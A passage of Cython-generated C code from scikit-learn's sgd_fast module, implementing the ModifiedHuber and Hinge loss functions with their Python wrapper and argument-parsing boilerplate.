*__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_3dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":122\n * \n *     cpdef double dloss(self, double p, double y):\n *         cdef double z = p * y             # <<<<<<<<<<<<<<\n *         if z >= 1.0:\n *             return 0.0\n */\n  __pyx_v_z = (__pyx_v_p * __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":123\n *     cpdef double dloss(self, double p, double y):\n *         cdef double z = p * y\n *         if z >= 1.0:             # <<<<<<<<<<<<<<\n *             return 0.0\n *         elif z >= -1.0:\n */\n  __pyx_t_6 = (__pyx_v_z >= 1.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":124\n *         cdef double z = p * y\n *         if z >= 1.0:\n *             return 0.0             # <<<<<<<<<<<<<<\n *         elif z >= -1.0:\n *             return 2.0 * (1.0 - z) * -y\n */\n    __pyx_r = 0.0;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":125\n *         if z >= 1.0:\n *             return 0.0\n *         elif z >= -1.0:             # <<<<<<<<<<<<<<\n *             return 2.0 * (1.0 - z) * -y\n *         else:\n */\n  __pyx_t_6 = (__pyx_v_z >= -1.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":126\n *             return 0.0\n *         elif z >= -1.0:\n *             return 2.0 * (1.0 - z) * -y             # <<<<<<<<<<<<<<\n *         else:\n *             return -4.0 * y\n */\n    __pyx_r = ((2.0 * (1.0 - __pyx_v_z)) * (-__pyx_v_y));\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":128\n *             return 2.0 * (1.0 - z) * -y\n *         else:\n *             return -4.0 * y             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n    __pyx_r = (-4.0 * __pyx_v_y);\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.ModifiedHuber.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.ModifiedHuber.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_2dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":121\n *             return -4.0 * z\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z >= 1.0:\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 121; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.ModifiedHuber.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_5__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_5__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_4__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":130\n *             return -4.0 * y\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return ModifiedHuber, ()\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_4__reduce__(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":131\n * \n *     def __reduce__(self):\n *         return ModifiedHuber, ()             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 131; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_ModifiedHuber)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_ModifiedHuber)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_ModifiedHuber)));\n  __Pyx_INCREF(((PyObject *)__pyx_empty_tuple));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_empty_tuple));\n  __Pyx_GIVEREF(((PyObject *)__pyx_empty_tuple));\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.ModifiedHuber.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_threshold;\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__ (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__threshold,0};\n    PyObject* values[1] = {0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (kw_args > 0) {\n          PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s__threshold);\n          if (value) { values[0] = value; kw_args--; }\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"__init__\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 147; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else {\n      switch (PyTuple_GET_SIZE(__pyx_args)) {\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n    }\n    if (values[0]) {\n      __pyx_v_threshold = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_threshold == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 147; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    } else {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":147\n *     cdef double threshold\n * \n *     def __init__(self, double threshold=1.0):             # <<<<<<<<<<<<<<\n *         self.threshold = threshold\n * \n */\n      __pyx_v_threshold = ((double)1.0);\n    }\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"__init__\", 0, 0, 1, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 147; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Hinge.__init__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return -1;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge___init__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *)__pyx_v_self), __pyx_v_threshold);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_threshold) {\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":148\n * \n *     def __init__(self, double threshold=1.0):\n *         self.threshold = threshold             # <<<<<<<<<<<<<<\n * \n *     cpdef double loss(self, double p, double y):\n */\n  __pyx_v_self->threshold = __pyx_v_threshold;\n\n  __pyx_r = 0;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":150\n *         self.threshold = threshold\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z <= self.threshold:\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_5Hinge_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_3loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":151\n * \n *     cpdef double loss(self, double p, double y):\n *         cdef double z = p * y             # <<<<<<<<<<<<<<\n *         if z <= self.threshold:\n *             return (self.threshold - z)\n */\n  __pyx_v_z = (__pyx_v_p * __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":152\n *     cpdef double loss(self, double p, double y):\n *         cdef double z = p * y\n *         if z <= self.threshold:             # <<<<<<<<<<<<<<\n *             return (self.threshold - z)\n *         return 0.0\n */\n  __pyx_t_6 = (__pyx_v_z <= __pyx_v_self->threshold);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":153\n *         cdef double z = p * y\n *         if z <= self.threshold:\n *             return (self.threshold - z)             # <<<<<<<<<<<<<<\n *         return 0.0\n * \n */\n    __pyx_r = (__pyx_v_self->threshold - __pyx_v_z);\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":154\n *         if z <= self.threshold:\n *             return (self.threshold - z)\n *         return 0.0             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  __pyx_r = 0.0;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Hinge.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Hinge.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_2loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":150\n *         self.threshold = threshold\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z <= self.threshold:\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Hinge *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 150; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Hinge.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":156\n *         return 0.0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z <= 